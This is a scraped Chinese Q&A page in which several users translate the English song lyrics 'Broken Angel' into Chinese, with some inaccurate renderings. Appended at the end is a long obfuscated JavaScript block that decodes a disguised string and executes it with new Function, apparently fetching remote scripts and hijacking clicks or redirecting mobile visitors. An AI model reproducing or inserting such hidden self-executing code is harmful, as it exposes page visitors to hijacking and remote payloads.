求这歌词中文意思!!急求英语达人翻译!!100分送上 不要机翻 谢谢!!
推荐回答(4个)
整理后的排版,如下:
《Broken Angel》
so small , yet still so proud
小时侯,一直很骄傲
at night before he dreams he looks into the clouds
到了晚上,就不知觉地梦到看穿了云层
a high flyer's what I want to be
我所想成为的翔空之鸟啊
seems they won't let me ,says I'm too small
似乎他们不会同意 , 说我还太小
I don't feel small at all
可我一点也不觉得自己小
break my dreams ,that's what they'll do
打碎我的梦 ,那是他们将要做的
well I'm gonna run away and learn to fly like you
我要逃脱,学习像你一样的飞翔
I'm gonna go so high and swoop so low
我将要到很高很高的地方去,然后俯冲直下
you can't bring me down
你阻止不了我
I'm gonna be so proud!
我将是如此的自豪!
little angel
小小天使啊
you got to learn to fly
你开始学习飞吧
get up and earn your wings tonight
趁者今夜舒展翅膀学着飞翔吧
little angel
小小天使啊
just look in my eyes
紧盯着我的眼睛
get up and earn your wings tonight
趁者今夜舒展翅膀学着飞翔吧
isn't it weird.
不是很奇异(怪异)么
isn't it strange.
不是很奇怪么
even though we're just two strangers
即使我们只是两个陌生人
on this runaway train
在这个地铁里
we're both trying to find a place in the sun
我们都试图找到一处光明
we've lived in the shadows
我们曾住在阴暗处
but doesn't everyone
但不是每个人
isn't it strange
不是很奇怪么
how we all feel a little bit weird sometimes
怎么我们有时都感到一些奇异
isn't it hard.
不是很困难么
standing in the rain.
站在雨中
you're on the verge of going crazy
你濒临于疯狂
and your heart's in pain
你的心在疼痛
no one can hear but you're screaming so loud
你如此大声尖叫却没人听见
you feel all alone in a faceless crowd
在人群里你感到孤单
isn't it strange
不是很奇怪么
how we all get a little bit weird sometimes.
怎么我们有时都感到一些奇异
sitting on the side.
坐在旁边
waiting for a sign.
等待一个暗示
hoping that my luck will change.
希望我的运气将会改变
reaching for a hand that can understand,someone who feels the same.
抓住一只手,可以了解有人有同样的感觉
when you live in a cookie cutter world
当你居住在一切都平分的世界
being different is a sin.
与众不同就是一种罪恶
so you don't stand out.
因此你不必抵抗
and you don't fit in.
不必感到
weird.
奇异
——————————————————————————————————————
边听歌,边找的资料,LZ太吝啬了吧,连歌名都不告知,节奏不错哟~~~
链接:http://tieba.baidu.com/p/2322217569
纯手打,望支持!
So small, yet still so proud
如此的小,却是如此的骄傲
At night before he dreams he looks into the clouds
在他梦境的前夜,他仰望云端
A high flyer’s what I want to be
我想成为一名高飞者
Seems they won’t let me, says I’m too small
但他们好像不允许,说我太小
I don’t feel small at all
但我一点也不觉得自己小
Break my dreams, that’s what they’ll do
他们只会破坏我的梦想
Well I’m going to run away and learn to fly like you
我会逃跑,像你一样学会飞翔
I’m going to go so high and swoop so low
我要高高地飞升,还要俯冲下来
You can‘t bring me down, going to be so proud
你不能把我拉下来,我要骄傲地活着
Little angel you got to learn to fly
小小的天使啊,你要学会飞翔
Get up and earn your wings tonight
站起来,今晚获得你的翅膀
Little angel just look in my eyes
小小的天使啊,看着我的眼睛
Get up and earn your wings tonight
站起来,今晚获得你的翅膀
Push and shove then climb aboard
拥挤推搡终于爬上了
This is the shuttle train to the top of the world
这趟开往世界顶端的列车
When you look around what do you see
当你环顾四周,你看到了什么
These are all high flyers
这些都是高飞者
But none of these high flyers look like me
但这些高飞者没有人像我一样
What is that supposed to mean
这又有什么含义?
oh
What am I supposed to be
啊,我应该成为怎样的人?
I pull my way up through this crowd
我一路向前,穿过人群
To find your body crushed on the ground
发现你的身体砸在地面上
It’s so obvious, why couldn’t you see
这很明显,为什么你发现不了
That you can’t go high flying without a pair of high-flyer wings
若你没有一双高飞者的翅膀,你就不能高飞
Little one’s broken lying on the ground
摔坏了躺在地上的小小的人啊
Trying to get up ‘till his last breath out
拼了最后一口气想站起来
Wings are strune everywhere, there’s blood all around
翅膀四处散落,献血飞溅
‘Cause even angel’s die, but that light just fades
因为即使天使陨落,光芒也只是会消褪
It’s so sad, but he’d be so proud
这很悲伤,但他仍需自豪
Broken angel you’ve got to learn to fly
陨落的天使啊,你要学会飞翔
Get up and earn your wings tonight
站起来,今晚获得你的翅膀
Broken angel just look in my eyes
陨落的天使啊,看着我的眼睛
Get up and earn your wings tonight
站起来,今晚获得你的翅膀
Get up and earn your wings,
earn your wings tonight.
站起来,今晚获得你的翅膀
小时侯,一直很骄傲
到了晚上,就不知觉地梦到 看穿了云层
我所想成为的翔空之鸟啊
似乎他们不会同意 , 说我还太小
可我一点也不觉得自己小
打碎我的梦 ,那是他们将要做的
我要逃脱,学习像你一样的飞翔
我将要到很高很高的地方去,然后俯冲直下
你阻止不了我
我将是如此的自豪!
骄傲小天使,你必须学会飞翔
今晚就起来获取你的双翼
小天使看着我的眼睛
今晚就起来获取你的双翼
推搡然后爬上军舰
这是穿梭列车到世界之巅
当你环顾四周,你看到了什么这些都是翔空之鸟
但没有这些翔空之鸟看起来像我
那是什么意思呢
我该怎么做
我把我的方式通过了人群找到你的身体压在地上
很明显,为什么你看不见
没有一双翱翔的翅膀你不能走向高的飞行
小家伙破碎的躺在地上
想爬起来,直到他最后的呼吸
strune到处都有翅膀,周围都是血
因为天使的死亡,但光消失它是如此伤心
但他会很自豪
破碎的天使你必须学会飞翔
今晚就起来获取你的双翼
天使看着我的眼睛
今晚去赢得属于你的翅膀
趁者今夜舒展翅膀学着飞翔吧
趁者今夜舒展翅膀学着飞翔吧
凑合着看看吧,歌不错。Broken Angel
So small, yet still so proud
渺小 又如何
At night before he dreams he looks into the clouds
入梦前总是仰望星空 穿透云层
A high flyer’s what I want to be
我想飞去那里
Seems they won’t let me, says I’m too small
它们总说我太渺小
I don’t feel small at all
我不在乎
Break my dreams, that’s what they’ll do
它们撕扯我的梦想
Well I’m going to run away and learn to fly like you
我却只想像你一样全力奔跑 学会飞翔
I’m going to go so high and swoop so low
我要飞到高空 然后俯冲向下
You can‘t bring me down, going to be so proud
我不惧打击 这是我的骄傲
Little angel you got to learn to fly
天使终会飞翔
Get up and earn your wings tonight
今夜 张开双翅
Little angel just look in my eyes
直视我的双眸
Get up and earn your wings tonight
今夜 张开双翅
Push and shove then climb aboard
跌撞着向上去
This is the shuttle train to the top of the world
搭上去往世界之巅的飞船
When you look around what do you see
请张开双眼 环顾四周
These are all high flyers
无数的追梦者
But none of these high flyers look like me
却没有人像我一样
What is that supposed to mean
为什么呢
oh
What am I supposed to be
我又该如何
I pull my way up through this crowd
我穿过人群
To find your body crushed on the ground
在地面上看到你摔得粉碎的身体
It’s so obvious, why couldn’t you see
如此明显 你却不知
That you can’t go high flying without a pair of high-flyer wings
没有翔空之翼 你该如何飞翔
Little one’s broken lying on the ground
如一粒微尘落向地面
Trying to get up ‘till his last breath out
用尽气力想要重回空中
Wings are strune everywhere, there’s blood all around
双翅破碎 鲜血飞溅
‘Cause even angel’s die, but that light just fades
天使陨落 光芒被吞噬
It’s so sad, but he’d be so proud
那么悲伤, 但是你依然骄傲
Broken angel you’ve got to learn to fly
因为你已经学会飞翔
Get up and earn your wings tonight
今夜 张开双翅
Broken angel just look in my eyes
Broken Angel 请直视我的双眼
Get up and earn your wings tonight
今夜 张开双翅
Get up and earn your wings,
来吧 张开双翅
earn your wings tonight.
尽情地飞翔
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();